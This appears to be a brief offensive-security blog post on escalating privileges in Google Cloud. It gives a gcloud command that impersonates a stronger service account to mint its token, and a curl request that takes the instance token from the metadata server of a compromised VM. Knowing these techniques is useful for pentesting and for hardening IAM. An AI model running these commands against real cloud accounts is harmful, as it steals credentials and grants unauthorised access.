GCP privilege escalation with serviceAccounts.getAccessToken

Aug 5, 2026 · 1 min read

If your principal can impersonate a stronger service account, generate a short-lived token for it and act as that account.

bash

gcloud auth print-access-token --impersonate-service-account=priv-sa@proj.iam.gserviceaccount.com
# or via API: projects/-/serviceAccounts/priv-sa:generateAccessToken

On a compromised GCE box, pull the node’s token from metadata.

bash

curl -s -H "Metadata-Flavor: Google" 
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

Pro note: also check actAs and the deploy paths (Cloud Functions, Cloud Run) which let you run code as a passed service account, the GCP analogue of PassRole. Enumerate reachable escalation with a tool like a GCP IAM analyzer before impersonating anything.